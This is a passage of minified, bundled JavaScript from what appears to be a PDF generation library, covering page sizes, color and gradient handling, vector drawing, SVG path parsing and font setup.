                            var a = r.indexOf("\n", o + 1);
                            r     = r.substring(a + 1)
                        }
                        this.stack = r
                    }
                }
            }, w.inherits(_.AssertionError, Error), _.fail = f, _.ok = h, _.equal = function (t, e, n) {
                t != e && f(t, e, n, "==", _.equal)
            }, _.notEqual = function (t, e, n) {
                t == e && f(t, e, n, "!=", _.notEqual)
            }, _.deepEqual = function (t, e, n) {
                p(t, e, !1) || f(t, e, n, "deepEqual", _.deepEqual)
            }, _.deepStrictEqual = function (t, e, n) {
                p(t, e, !0) || f(t, e, n, "deepStrictEqual", _.deepStrictEqual)
            }, _.notDeepEqual = function (t, e, n) {
                p(t, e, !1) && f(t, e, n, "notDeepEqual", _.notDeepEqual)
            }, _.notDeepStrictEqual = v, _.strictEqual = function (t, e, n) {
                t !== e && f(t, e, n, "===", _.strictEqual)
            }, _.notStrictEqual = function (t, e, n) {
                t === e && f(t, e, n, "!==", _.notStrictEqual)
            }, _.throws = function (t, e, n) {
                b(!0, t, e, n)
            }, _.doesNotThrow = function (t, e, n) {
                b(!1, t, e, n)
            }, _.ifError = function (t) {
                if (t) throw t
            };
            var A = Object.keys || function (t) {
                var e = [];
                for (var n in t) x.call(t, n) && e.push(n);
                return e
            }
        }).call(e, function () {
            return this
        }())
    }, function (t, e) {
        (function () {
            var e;
            e = function () {
                function t(t, r) {
                    var i;
                    this.document = t, null == r && (r = {}), this.size = r.size || "letter", this.layout = r.layout || "portrait", "number" == typeof r.margin ? this.margins = {
                        top: r.margin,
                        left: r.margin,
                        bottom: r.margin,
                        right: r.margin
                    } : this.margins = r.margins || e, i = Array.isArray(this.size) ? this.size : n[this.size.toUpperCase()], this.width = i["portrait" === this.layout ? 0 : 1], this.height = i["portrait" === this.layout ? 1 : 0], this.content = this.document.ref(), this.resources = this.document.ref({ProcSet: ["PDF", "Text", "ImageB", "ImageC", "ImageI"]}), Object.defineProperties(this, {
                        fonts: {
                            get: function (t) {
                                return function () {
                                    var e;
                                    return null != (e = t.resources.data).Font ? e.Font : e.Font = {}
                                }
                            }(this)
                        }, xobjects: {
                            get: function (t) {
                                return function () {
                                    var e;
                                    return null != (e = t.resources.data).XObject ? e.XObject : e.XObject = {}
                                }
                            }(this)
                        }, ext_gstates: {
                            get: function (t) {
                                return function () {
                                    var e;
                                    return null != (e = t.resources.data).ExtGState ? e.ExtGState : e.ExtGState = {}
                                }
                            }(this)
                        }, patterns: {
                            get: function (t) {
                                return function () {
                                    var e;
                                    return null != (e = t.resources.data).Pattern ? e.Pattern : e.Pattern = {}
                                }
                            }(this)
                        }, annotations: {
                            get: function (t) {
                                return function () {
                                    var e;
                                    return null != (e = t.dictionary.data).Annots ? e.Annots : e.Annots = []
                                }
                            }(this)
                        }
                    }), this.dictionary = this.document.ref({
                        Type: "Page",
                        Parent: this.document._root.data.Pages,
                        MediaBox: [0, 0, this.width, this.height],
                        Contents: this.content,
                        Resources: this.resources
                    })
                }

                var e, n;
                return t.prototype.maxY = function () {
                    return this.height - this.margins.bottom
                }, t.prototype.write = function (t) {
                    return this.content.write(t)
                }, t.prototype.end = function () {
                    return this.dictionary.end(), this.resources.end(), this.content.end()
                }, e = {top: 72, left: 72, bottom: 72, right: 72}, n = {
                    "4A0": [4767.87, 6740.79],
                    "2A0": [3370.39, 4767.87],
                    A0: [2383.94, 3370.39],
                    A1: [1683.78, 2383.94],
                    A2: [1190.55, 1683.78],
                    A3: [841.89, 1190.55],
                    A4: [595.28, 841.89],
                    A5: [419.53, 595.28],
                    A6: [297.64, 419.53],
                    A7: [209.76, 297.64],
                    A8: [147.4, 209.76],
                    A9: [104.88, 147.4],
                    A10: [73.7, 104.88],
                    B0: [2834.65, 4008.19],
                    B1: [2004.09, 2834.65],
                    B2: [1417.32, 2004.09],
                    B3: [1000.63, 1417.32],
                    B4: [708.66, 1000.63],
                    B5: [498.9, 708.66],
                    B6: [354.33, 498.9],
                    B7: [249.45, 354.33],
                    B8: [175.75, 249.45],
                    B9: [124.72, 175.75],
                    B10: [87.87, 124.72],
                    C0: [2599.37, 3676.54],
                    C1: [1836.85, 2599.37],
                    C2: [1298.27, 1836.85],
                    C3: [918.43, 1298.27],
                    C4: [649.13, 918.43],
                    C5: [459.21, 649.13],
                    C6: [323.15, 459.21],
                    C7: [229.61, 323.15],
                    C8: [161.57, 229.61],
                    C9: [113.39, 161.57],
                    C10: [79.37, 113.39],
                    RA0: [2437.8, 3458.27],
                    RA1: [1729.13, 2437.8],
                    RA2: [1218.9, 1729.13],
                    RA3: [864.57, 1218.9],
                    RA4: [609.45, 864.57],
                    SRA0: [2551.18, 3628.35],
                    SRA1: [1814.17, 2551.18],
                    SRA2: [1275.59, 1814.17],
                    SRA3: [907.09, 1275.59],
                    SRA4: [637.8, 907.09],
                    EXECUTIVE: [521.86, 756],
                    FOLIO: [612, 936],
                    LEGAL: [612, 1008],
                    LETTER: [612, 792],
                    TABLOID: [792, 1224]
                }, t
            }(), t.exports = e
        }).call(this)
    }, function (t, e, n) {
        (function () {
            var e, r, i, o, a;
            a = n(75), e = a.PDFGradient, r = a.PDFLinearGradient, i = a.PDFRadialGradient, t.exports = {
                initColor: function () {
                    return this._opacityRegistry = {}, this._opacityCount = 0, this._gradCount = 0
                }, _normalizeColor: function (t) {
                    var n, r;
                    return t instanceof e ? t : ("string" == typeof t && ("#" === t.charAt(0) ? (4 === t.length && (t = t.replace(/#([0-9A-F])([0-9A-F])([0-9A-F])/i, "#$1$1$2$2$3$3")), n = parseInt(t.slice(1), 16), t = [n >> 16, n >> 8 & 255, 255 & n]) : o[t] && (t = o[t])), Array.isArray(t) ? (3 === t.length ? t = function () {
                        var e, n, i;
                        for (i = [], e = 0, n = t.length; e < n; e++) r = t[e], i.push(r / 255);
                        return i
                    }() : 4 === t.length && (t = function () {
                        var e, n, i;
                        for (i = [], e = 0, n = t.length; e < n; e++) r = t[e], i.push(r / 100);
                        return i
                    }()), t) : null)
                }, _setColor: function (t, n) {
                    var r, i, o, a;
                    return !!(t = this._normalizeColor(t)) && (this._sMasked && (r = this.ref({
                        Type: "ExtGState",
                        SMask: "None"
                    }), r.end(), i = "Gs" + ++this._opacityCount, this.page.ext_gstates[i] = r, this.addContent("/" + i + " gs"), this._sMasked = !1), o = n ? "SCN" : "scn", t instanceof e ? (this._setColorSpace("Pattern", n), t.apply(o)) : (a = 4 === t.length ? "DeviceCMYK" : "DeviceRGB", this._setColorSpace(a, n), t = t.join(" "), this.addContent(t + " " + o)), !0)
                }, _setColorSpace: function (t, e) {
                    var n;
                    return n = e ? "CS" : "cs", this.addContent("/" + t + " " + n)
                }, fillColor: function (t, e) {
                    var n;
                    return null == e && (e = 1), n = this._setColor(t, !1), n && this.fillOpacity(e), this._fillColor = [t, e], this
                }, strokeColor: function (t, e) {
                    var n;
                    return null == e && (e = 1), n = this._setColor(t, !0), n && this.strokeOpacity(e), this
                }, opacity: function (t) {
                    return this._doOpacity(t, t), this
                }, fillOpacity: function (t) {
                    return this._doOpacity(t, null), this
                }, strokeOpacity: function (t) {
                    return this._doOpacity(null, t), this
                }, _doOpacity: function (t, e) {
                    var n, r, i, o, a;
                    if (null != t || null != e) return null != t && (t = Math.max(0, Math.min(1, t))), null != e && (e = Math.max(0, Math.min(1, e))), i = t + "_" + e, this._opacityRegistry[i] ? (a = this._opacityRegistry[i], n = a[0], o = a[1]) : (n = {Type: "ExtGState"}, null != t && (n.ca = t), null != e && (n.CA = e), n = this.ref(n), n.end(), r = ++this._opacityCount, o = "Gs" + r, this._opacityRegistry[i] = [n, o]), this.page.ext_gstates[o] = n, this.addContent("/" + o + " gs")
                }, linearGradient: function (t, e, n, i) {
                    return new r(this, t, e, n, i)
                }, radialGradient: function (t, e, n, r, o, a) {
                    return new i(this, t, e, n, r, o, a)
                }
            }, o = {
                aliceblue: [240, 248, 255],
                antiquewhite: [250, 235, 215],
                aqua: [0, 255, 255],
                aquamarine: [127, 255, 212],
                azure: [240, 255, 255],
                beige: [245, 245, 220],
                bisque: [255, 228, 196],
                black: [0, 0, 0],
                blanchedalmond: [255, 235, 205],
                blue: [0, 0, 255],
                blueviolet: [138, 43, 226],
                brown: [165, 42, 42],
                burlywood: [222, 184, 135],
                cadetblue: [95, 158, 160],
                chartreuse: [127, 255, 0],
                chocolate: [210, 105, 30],
                coral: [255, 127, 80],
                cornflowerblue: [100, 149, 237],
                cornsilk: [255, 248, 220],
                crimson: [220, 20, 60],
                cyan: [0, 255, 255],
                darkblue: [0, 0, 139],
                darkcyan: [0, 139, 139],
                darkgoldenrod: [184, 134, 11],
                darkgray: [169, 169, 169],
                darkgreen: [0, 100, 0],
                darkgrey: [169, 169, 169],
                darkkhaki: [189, 183, 107],
                darkmagenta: [139, 0, 139],
                darkolivegreen: [85, 107, 47],
                darkorange: [255, 140, 0],
                darkorchid: [153, 50, 204],
                darkred: [139, 0, 0],
                darksalmon: [233, 150, 122],
                darkseagreen: [143, 188, 143],
                darkslateblue: [72, 61, 139],
                darkslategray: [47, 79, 79],
                darkslategrey: [47, 79, 79],
                darkturquoise: [0, 206, 209],
                darkviolet: [148, 0, 211],
                deeppink: [255, 20, 147],
                deepskyblue: [0, 191, 255],
                dimgray: [105, 105, 105],
                dimgrey: [105, 105, 105],
                dodgerblue: [30, 144, 255],
                firebrick: [178, 34, 34],
                floralwhite: [255, 250, 240],
                forestgreen: [34, 139, 34],
                fuchsia: [255, 0, 255],
                gainsboro: [220, 220, 220],
                ghostwhite: [248, 248, 255],
                gold: [255, 215, 0],
                goldenrod: [218, 165, 32],
                gray: [128, 128, 128],
                grey: [128, 128, 128],
                green: [0, 128, 0],
                greenyellow: [173, 255, 47],
                honeydew: [240, 255, 240],
                hotpink: [255, 105, 180],
                indianred: [205, 92, 92],
                indigo: [75, 0, 130],
                ivory: [255, 255, 240],
                khaki: [240, 230, 140],
                lavender: [230, 230, 250],
                lavenderblush: [255, 240, 245],
                lawngreen: [124, 252, 0],
                lemonchiffon: [255, 250, 205],
                lightblue: [173, 216, 230],
                lightcoral: [240, 128, 128],
                lightcyan: [224, 255, 255],
                lightgoldenrodyellow: [250, 250, 210],
                lightgray: [211, 211, 211],
                lightgreen: [144, 238, 144],
                lightgrey: [211, 211, 211],
                lightpink: [255, 182, 193],
                lightsalmon: [255, 160, 122],
                lightseagreen: [32, 178, 170],
                lightskyblue: [135, 206, 250],
                lightslategray: [119, 136, 153],
                lightslategrey: [119, 136, 153],
                lightsteelblue: [176, 196, 222],
                lightyellow: [255, 255, 224],
                lime: [0, 255, 0],
                limegreen: [50, 205, 50],
                linen: [250, 240, 230],
                magenta: [255, 0, 255],
                maroon: [128, 0, 0],
                mediumaquamarine: [102, 205, 170],
                mediumblue: [0, 0, 205],
                mediumorchid: [186, 85, 211],
                mediumpurple: [147, 112, 219],
                mediumseagreen: [60, 179, 113],
                mediumslateblue: [123, 104, 238],
                mediumspringgreen: [0, 250, 154],
                mediumturquoise: [72, 209, 204],
                mediumvioletred: [199, 21, 133],
                midnightblue: [25, 25, 112],
                mintcream: [245, 255, 250],
                mistyrose: [255, 228, 225],
                moccasin: [255, 228, 181],
                navajowhite: [255, 222, 173],
                navy: [0, 0, 128],
                oldlace: [253, 245, 230],
                olive: [128, 128, 0],
                olivedrab: [107, 142, 35],
                orange: [255, 165, 0],
                orangered: [255, 69, 0],
                orchid: [218, 112, 214],
                palegoldenrod: [238, 232, 170],
                palegreen: [152, 251, 152],
                paleturquoise: [175, 238, 238],
                palevioletred: [219, 112, 147],
                papayawhip: [255, 239, 213],
                peachpuff: [255, 218, 185],
                peru: [205, 133, 63],
                pink: [255, 192, 203],
                plum: [221, 160, 221],
                powderblue: [176, 224, 230],
                purple: [128, 0, 128],
                red: [255, 0, 0],
                rosybrown: [188, 143, 143],
                royalblue: [65, 105, 225],
                saddlebrown: [139, 69, 19],
                salmon: [250, 128, 114],
                sandybrown: [244, 164, 96],
                seagreen: [46, 139, 87],
                seashell: [255, 245, 238],
                sienna: [160, 82, 45],
                silver: [192, 192, 192],
                skyblue: [135, 206, 235],
                slateblue: [106, 90, 205],
                slategray: [112, 128, 144],
                slategrey: [112, 128, 144],
                snow: [255, 250, 250],
                springgreen: [0, 255, 127],
                steelblue: [70, 130, 180],
                tan: [210, 180, 140],
                teal: [0, 128, 128],
                thistle: [216, 191, 216],
                tomato: [255, 99, 71],
                turquoise: [64, 224, 208],
                violet: [238, 130, 238],
                wheat: [245, 222, 179],
                white: [255, 255, 255],
                whitesmoke: [245, 245, 245],
                yellow: [255, 255, 0],
                yellowgreen: [154, 205, 50]
            }
        }).call(this)
    }, function (t, e) {
        (function () {
            var e, n, r, i = function (t, e) {
                function n() {
                    this.constructor = t
                }

                for (var r in e) o.call(e, r) && (t[r] = e[r]);
                return n.prototype = e.prototype, t.prototype = new n, t.__super__ = e.prototype, t
            }, o           = {}.hasOwnProperty;
            e = function () {
                function t(t) {
                    this.doc = t, this.stops = [], this.embedded = !1, this.transform = [1, 0, 0, 1, 0, 0], this._colorSpace = "DeviceRGB"
                }

                return t.prototype.stop = function (t, e, n) {
                    return null == n && (n = 1), n = Math.max(0, Math.min(1, n)), this.stops.push([t, this.doc._normalizeColor(e), n]), this
                }, t.prototype.embed = function () {
                    var t, e, n, r, i, o, a, s, u, c, l, f, h, p, d, g, v, y, m, b, w, x, S, k, _, C, A, E, P, I, O, T, L, B, R, M;
                    if (!this.embedded && 0 !== this.stops.length) {
                        for (this.embedded = !0, h = this.stops[this.stops.length - 1], h[0] < 1 && this.stops.push([1, h[1], h[2]]), t = [], r = [], R = [], c = l = 0, E = this.stops.length - 1; 0 <= E ? l < E : l > E; c = 0 <= E ? ++l : --l) r.push(0, 1), c + 2 !== this.stops.length && t.push(this.stops[c + 1][0]), i = this.doc.ref({
                            FunctionType: 2,
                            Domain: [0, 1],
                            C0: this.stops[c + 0][1],
                            C1: this.stops[c + 1][1],
                            N: 1
                        }), R.push(i), i.end();
                        if (1 === R.length ? i = R[0] : (i = this.doc.ref({
                                FunctionType: 3,
                                Domain: [0, 1],
                                Functions: R,
                                Bounds: t,
                                Encode: r
                            }), i.end()), this.id = "Sh" + ++this.doc._gradCount, d = this.doc._ctm.slice(), g = d[0], v = d[1], b = d[2], S = d[3], k = d[4], _ = d[5], P = this.transform, y = P[0], m = P[1], w = P[2], x = P[3], e = P[4], n = P[5], d[0] = g * y + b * m, d[1] = v * y + S * m, d[2] = g * w + b * x, d[3] = v * w + S * x, d[4] = g * e + b * n + k, d[5] = v * e + S * n + _, L = this.shader(i), L.end(), A = this.doc.ref({
                                Type: "Pattern",
                                PatternType: 2,
                                Shading: L,
                                Matrix: function () {
                                    var t, e, n;
                                    for (n = [], t = 0, e = d.length; t < e; t++) M = d[t], n.push(+M.toFixed(5));
                                    return n
                                }()
                            }), this.doc.page.patterns[this.id] = A, A.end(), this.stops.some(function (t) {
                                return t[2] < 1
                            })) {
                            for (a = this.opacityGradient(), a._colorSpace = "DeviceGray", I = this.stops, f = 0, p = I.length; f < p; f++) B = I[f], a.stop(B[0], [B[2]]);
                            a = a.embed(), s = this.doc.ref({
                                Type: "Group",
                                S: "Transparency",
                                CS: "DeviceGray"
                            }), s.end(), O = this.doc.ref({
                                ProcSet: ["PDF", "Text", "ImageB", "ImageC", "ImageI"],
                                Shading: {Sh1: a.data.Shading}
                            }), O.end(), o = this.doc.ref({
                                Type: "XObject",
                                Subtype: "Form",
                                FormType: 1,
                                BBox: [0, 0, this.doc.page.width, this.doc.page.height],
                                Group: s,
                                Resources: O
                            }), o.end("/Sh1 sh"), T = this.doc.ref({Type: "Mask", S: "Luminosity", G: o}), T.end(), u = this.doc.ref({
                                Type: "ExtGState",
                                SMask: T
                            }), this.opacity_id = ++this.doc._opacityCount, C = "Gs" + this.opacity_id, this.doc.page.ext_gstates[C] = u, u.end()
                        }
                        return A
                    }
                }, t.prototype.apply = function (t) {
                    if (this.embedded || this.embed(), this.doc.addContent("/" + this.id + " " + t), this.opacity_id) return this.doc.addContent("/Gs" + this.opacity_id + " gs"), this.doc._sMasked = !0
                }, t
            }(), n = function (t) {
                function e(t, n, r, i, o) {
                    this.doc = t, this.x1 = n, this.y1 = r, this.x2 = i, this.y2 = o, e.__super__.constructor.apply(this, arguments)
                }

                return i(e, t), e.prototype.shader = function (t) {
                    return this.doc.ref({ShadingType: 2, ColorSpace: this._colorSpace, Coords: [this.x1, this.y1, this.x2, this.y2], Function: t, Extend: [!0, !0]})
                }, e.prototype.opacityGradient = function () {
                    return new e(this.doc, this.x1, this.y1, this.x2, this.y2)
                }, e
            }(e), r = function (t) {
                function e(t, n, r, i, o, a, s) {
                    this.doc = t, this.x1 = n, this.y1 = r, this.r1 = i, this.x2 = o, this.y2 = a, this.r2 = s, e.__super__.constructor.apply(this, arguments)
                }

                return i(e, t), e.prototype.shader = function (t) {
                    return this.doc.ref({
                        ShadingType: 3,
                        ColorSpace: this._colorSpace,
                        Coords: [this.x1, this.y1, this.r1, this.x2, this.y2, this.r2],
                        Function: t,
                        Extend: [!0, !0]
                    })
                }, e.prototype.opacityGradient = function () {
                    return new e(this.doc, this.x1, this.y1, this.r1, this.x2, this.y2, this.r2)
                }, e
            }(e), t.exports = {PDFGradient: e, PDFLinearGradient: n, PDFRadialGradient: r}
        }).call(this)
    }, function (t, e, n) {
        (function () {
            var e, r, i = [].slice;
            r = n(77), e = (Math.sqrt(2) - 1) / 3 * 4, t.exports = {
                initVector: function () {
                    return this._ctm = [1, 0, 0, 1, 0, 0], this._ctmStack = []
                }, save: function () {
                    return this._ctmStack.push(this._ctm.slice()), this.addContent("q")
                }, restore: function () {
                    return this._ctm = this._ctmStack.pop() || [1, 0, 0, 1, 0, 0], this.addContent("Q")
                }, closePath: function () {
                    return this.addContent("h")
                }, lineWidth: function (t) {
                    return this.addContent(t + " w")
                }, _CAP_STYLES: {BUTT: 0, ROUND: 1, SQUARE: 2}, lineCap: function (t) {
                    return "string" == typeof t && (t = this._CAP_STYLES[t.toUpperCase()]), this.addContent(t + " J")
                }, _JOIN_STYLES: {MITER: 0, ROUND: 1, BEVEL: 2}, lineJoin: function (t) {
                    return "string" == typeof t && (t = this._JOIN_STYLES[t.toUpperCase()]), this.addContent(t + " j")
                }, miterLimit: function (t) {
                    return this.addContent(t + " M")
                }, dash: function (t, e) {
                    var n, r, i;
                    return null == e && (e = {}), null == t ? this : (i = null != (r = e.space) ? r : t, n = e.phase || 0, this.addContent("[" + t + " " + i + "] " + n + " d"))
                }, undash: function () {
                    return this.addContent("[] 0 d")
                }, moveTo: function (t, e) {
                    return this.addContent(t + " " + e + " m")
                }, lineTo: function (t, e) {
                    return this.addContent(t + " " + e + " l")
                }, bezierCurveTo: function (t, e, n, r, i, o) {
                    return this.addContent(t + " " + e + " " + n + " " + r + " " + i + " " + o + " c")
                }, quadraticCurveTo: function (t, e, n, r) {
                    return this.addContent(t + " " + e + " " + n + " " + r + " v")
                }, rect: function (t, e, n, r) {
                    return this.addContent(t + " " + e + " " + n + " " + r + " re")
                }, roundedRect: function (t, e, n, r, i) {
                    return null == i && (i = 0), this.moveTo(t + i, e), this.lineTo(t + n - i, e), this.quadraticCurveTo(t + n, e, t + n, e + i), this.lineTo(t + n, e + r - i), this.quadraticCurveTo(t + n, e + r, t + n - i, e + r), this.lineTo(t + i, e + r), this.quadraticCurveTo(t, e + r, t, e + r - i), this.lineTo(t, e + i), this.quadraticCurveTo(t, e, t + i, e)
                }, ellipse: function (t, n, r, i) {
                    var o, a, s, u, c, l;
                    return null == i && (i = r), t -= r, n -= i, o = r * e, a = i * e, s = t + 2 * r, c = n + 2 * i, u = t + r, l = n + i, this.moveTo(t, l), this.bezierCurveTo(t, l - a, u - o, n, u, n), this.bezierCurveTo(u + o, n, s, l - a, s, l), this.bezierCurveTo(s, l + a, u + o, c, u, c), this.bezierCurveTo(u - o, c, t, l + a, t, l), this.closePath()
                }, circle: function (t, e, n) {
                    return this.ellipse(t, e, n)
                }, polygon: function () {
                    var t, e, n, r;
                    for (r = 1 <= arguments.length ? i.call(arguments, 0) : [], this.moveTo.apply(this, r.shift()), t = 0, e = r.length; t < e; t++) n = r[t], this.lineTo.apply(this, n);
                    return this.closePath()
                }, path: function (t) {
                    return r.apply(this, t), this
                }, _windingRule: function (t) {
                    return /even-?odd/.test(t) ? "*" : ""
                }, fill: function (t, e) {
                    return /(even-?odd)|(non-?zero)/.test(t) && (e = t, t = null), t && this.fillColor(t), this.addContent("f" + this._windingRule(e))
                }, stroke: function (t) {
                    return t && this.strokeColor(t), this.addContent("S")
                }, fillAndStroke: function (t, e, n) {
                    var r;
                    return null == e && (e = t), r = /(even-?odd)|(non-?zero)/, r.test(t) && (n = t, t = null), r.test(e) && (n = e, e = t), t && (this.fillColor(t), this.strokeColor(e)), this.addContent("B" + this._windingRule(n))
                }, clip: function (t) {
                    return this.addContent("W" + this._windingRule(t) + " n")
                }, transform: function (t, e, n, r, i, o) {
                    var a, s, u, c, l, f, h, p, d;
                    return a = this._ctm, s = a[0], u = a[1], c = a[2], l = a[3], f = a[4], h = a[5], a[0] = s * t + c * e, a[1] = u * t + l * e, a[2] = s * n + c * r, a[3] = u * n + l * r, a[4] = s * i + c * o + f, a[5] = u * i + l * o + h, d = function () {
                        var a, s, u, c;
                        for (u = [t, e, n, r, i, o], c = [], a = 0, s = u.length; a < s; a++) p = u[a], c.push(+p.toFixed(5));
                        return c
                    }().join(" "), this.addContent(d + " cm")
                }, translate: function (t, e) {
                    return this.transform(1, 0, 0, 1, t, e)
                }, rotate: function (t, e) {
                    var n, r, i, o, a, s, u, c;
                    return null == e && (e = {}), r = t * Math.PI / 180, n = Math.cos(r), o = Math.sin(r), a = u = 0, null != e.origin && (i = e.origin, a = i[0], u = i[1], s = a * n - u * o, c = a * o + u * n, a -= s, u -= c), this.transform(n, o, -o, n, a, u)
                }, scale: function (t, e, n) {
                    var r, i, o;
                    return null == e && (e = t), null == n && (n = {}), 2 === arguments.length && (e = t, n = e), i = o = 0, null != n.origin && (r = n.origin, i = r[0], o = r[1], i -= t * i, o -= e * o), this.transform(t, 0, 0, e, i, o)
                }
            }
        }).call(this)
    }, function (t, e) {
        (function () {
            var e;
            e = function () {
                function t() {
                }

                var e, n, r, i, o, a, s, u, c, l, f, h, p, d;
                return t.apply = function (t, n) {
                    var r;
                    return r = s(n), e(r, t)
                }, a = {A: 7, a: 7, C: 6, c: 6, H: 1, h: 1, L: 2, l: 2, M: 2, m: 2, Q: 4, q: 4, S: 4, s: 4, T: 2, t: 2, V: 1, v: 1, Z: 0, z: 0}, s = function (t) {
                    var e, n, r, i, o, s, u, c, l;
                    for (l = [], e = [], i = "", o = !1, c = 0, s = 0, u = t.length; s < u; s++) if (n = t[s], null != a[n]) c = a[n],
                    r && (i.length > 0 && (e[e.length] = +i), l[l.length] = {
                        cmd: r,
                        args: e
                    }, e = [], i = "", o = !1), r = n; else if (" " === n || "," === n || "-" === n && i.length > 0 && "e" !== i[i.length - 1] || "." === n && o) {
                        if (0 === i.length) continue;
                        e.length === c ? (l[l.length] = {
                            cmd: r,
                            args: e
                        }, e = [+i], "M" === r && (r = "L"), "m" === r && (r = "l")) : e[e.length] = +i, o = "." === n, i = "-" === n || "." === n ? n : ""
                    } else i += n, "." === n && (o = !0);
                    return i.length > 0 && (e.length === c ? (l[l.length] = {
                        cmd: r,
                        args: e
                    }, e = [+i], "M" === r && (r = "L"), "m" === r && (r = "l")) : e[e.length] = +i), l[l.length] = {cmd: r, args: e}, l
                }, r = i = u = c = p = d = 0, e = function (t, e) {
                    var n, o, a, s, f;
                    for (r = i = u = c = p = d = 0, o = a = 0, s = t.length; a < s; o = ++a) n = t[o], "function" == typeof l[f = n.cmd] && l[f](e, n.args);
                    return r = i = u = c = 0
                }, l = {
                    M: function (t, e) {
                        return r = e[0], i = e[1], u = c = null, p = r, d = i, t.moveTo(r, i)
                    }, m: function (t, e) {
                        return r += e[0], i += e[1], u = c = null, p = r, d = i, t.moveTo(r, i)
                    }, C: function (t, e) {
                        return r = e[4], i = e[5], u = e[2], c = e[3], t.bezierCurveTo.apply(t, e)
                    }, c: function (t, e) {
                        return t.bezierCurveTo(e[0] + r, e[1] + i, e[2] + r, e[3] + i, e[4] + r, e[5] + i), u = r + e[2], c = i + e[3], r += e[4], i += e[5]
                    }, S: function (t, e) {
                        return null === u && (u = r, c = i), t.bezierCurveTo(r - (u - r), i - (c - i), e[0], e[1], e[2], e[3]), u = e[0], c = e[1], r = e[2], i = e[3]
                    }, s: function (t, e) {
                        return null === u && (u = r, c = i), t.bezierCurveTo(r - (u - r), i - (c - i), r + e[0], i + e[1], r + e[2], i + e[3]), u = r + e[0], c = i + e[1], r += e[2], i += e[3]
                    }, Q: function (t, e) {
                        return u = e[0], c = e[1], r = e[2], i = e[3], t.quadraticCurveTo(e[0], e[1], r, i)
                    }, q: function (t, e) {
                        return t.quadraticCurveTo(e[0] + r, e[1] + i, e[2] + r, e[3] + i), u = r + e[0], c = i + e[1], r += e[2], i += e[3]
                    }, T: function (t, e) {
                        return null === u ? (u = r, c = i) : (u = r - (u - r), c = i - (c - i)), t.quadraticCurveTo(u, c, e[0], e[1]), u = r - (u - r), c = i - (c - i), r = e[0], i = e[1]
                    }, t: function (t, e) {
                        return null === u ? (u = r, c = i) : (u = r - (u - r), c = i - (c - i)), t.quadraticCurveTo(u, c, r + e[0], i + e[1]), r += e[0], i += e[1]
                    }, A: function (t, e) {
                        return h(t, r, i, e), r = e[5], i = e[6]
                    }, a: function (t, e) {
                        return e[5] += r, e[6] += i, h(t, r, i, e), r = e[5], i = e[6]
                    }, L: function (t, e) {
                        return r = e[0], i = e[1], u = c = null, t.lineTo(r, i)
                    }, l: function (t, e) {
                        return r += e[0], i += e[1], u = c = null, t.lineTo(r, i)
                    }, H: function (t, e) {
                        return r = e[0], u = c = null, t.lineTo(r, i)
                    }, h: function (t, e) {
                        return r += e[0], u = c = null, t.lineTo(r, i)
                    }, V: function (t, e) {
                        return i = e[0], u = c = null, t.lineTo(r, i)
                    }, v: function (t, e) {
                        return i += e[0], u = c = null, t.lineTo(r, i)
                    }, Z: function (t) {
                        return t.closePath(), r = p, i = d
                    }, z: function (t) {
                        return t.closePath(), r = p, i = d
                    }
                }, h = function (t, e, r, i) {
                    var o, a, s, u, c, l, h, p, d, g, v, y, m;
                    for (d = i[0], g = i[1], p = i[2], c = i[3], m = i[4], a = i[5], s = i[6], y = n(a, s, d, g, c, m, p, e, r), h = [], u = 0, l = y.length; u < l; u++) v = y[u], o = f.apply(null, v), h.push(t.bezierCurveTo.apply(t, o));
                    return h
                }, n = function (t, e, n, r, i, o, a, s, l) {
                    var f, h, p, d, g, v, y, m, b, w, x, S, k, _, C, A, E, P, I, O, T, L, B, R, M, z, F;
                    for (A = a * (Math.PI / 180), C = Math.sin(A), g = Math.cos(A), n = Math.abs(n), r = Math.abs(r), u = g * (s - t) * .5 + C * (l - e) * .5, c = g * (l - e) * .5 - C * (s - t) * .5, b = u * u / (n * n) + c * c / (r * r), b > 1 && (b = Math.sqrt(b), n *= b, r *= b), f = g / n, h = C / n, p = -C / r, d = g / r, L = f * s + h * l, M = p * s + d * l, B = f * t + h * e, z = p * t + d * e, v = (B - L) * (B - L) + (z - M) * (z - M), _ = 1 / v - .25, _ < 0 && (_ = 0), k = Math.sqrt(_), o === i && (k = -k), R = .5 * (L + B) - k * (z - M), F = .5 * (M + z) + k * (B - L), E = Math.atan2(M - F, L - R), P = Math.atan2(z - F, B - R), T = P - E, T < 0 && 1 === o ? T += 2 * Math.PI : T > 0 && 0 === o && (T -= 2 * Math.PI), S = Math.ceil(Math.abs(T / (.5 * Math.PI + .001))), x = [], y = m = 0, w = S; 0 <= w ? m < w : m > w; y = 0 <= w ? ++m : --m) I = E + y * T / S, O = E + (y + 1) * T / S, x[y] = [R, F, I, O, n, r, C, g];
                    return x
                }, f = function (t, e, n, r, i, a, s, u) {
                    var c, l, f, h, p, d, g, v, y, m, b, w;
                    return c = u * i, l = -s * a, f = s * i, h = u * a, d = .5 * (r - n), p = 8 / 3 * Math.sin(.5 * d) * Math.sin(.5 * d) / Math.sin(d), g = o(t + Math.cos(n) - p * Math.sin(n)), m = o(e + Math.sin(n) + p * Math.cos(n)), y = o(t + Math.cos(r)), w = o(e + Math.sin(r)), v = o(y + p * Math.sin(r)), b = o(w - p * Math.cos(r)), [c * g + l * m, f * g + h * m, c * v + l * b, f * v + h * b, c * y + l * w, f * y + h * w]
                }, o = function (t) {
                    return Math.abs(Math.round(t) - t) < 1e-13 ? Math.round(t) : t
                }, t
            }(), t.exports = e
        }).call(this)
    }, function (t, e, n) {
        (function () {
            var e;
            e = n(79), t.exports = {
                initFonts: function () {
                    this._fontFamilies = {}, this._fontCount = 0, this._fontSize = 12, this._font = null, this._registeredFonts = {}
                }, font: function (t, n, r) {
                    var i, o, a, s;
                    return "number" == typeof n && (r = n, n = null), "string" == typeof t && this._registeredFonts[t] ? (i = t, s = this._registeredFonts[t], t = s.src, n = s.family) : "string" != typeof(i = n || t) && (i = null), null != r && this.fontSize(r), (o = this._fontFamilies[i]) ? (this._font = o, this) : (a = "F" + ++this._fontCount, this._font = e.open(this, t, n, a), (o = this._fontFamilies[this._font.name]) ? (this._font = o, this) : (i && (this._fontFamilies[i] = this._font), this._fontFamilies[this._font.name] = this._font, this))
                }, fontSize: function (t) {
                    return this._fontSize = t, this
                }, currentLineHeight: function (t) {
                    return null == t && (t = !1), this._font.lineHeight(this._fontSize, t)
                }, registerFont: function (t, e, n) {
                    return this._registeredFonts[t] = {src: e, family: n}, this
                }
            }
        }).call(this)
    }, function (t, e, n) {
        (function (e) {
            (function () {
                var r, i, o, a;
                a = n(80), i = function () {
                    function t() {
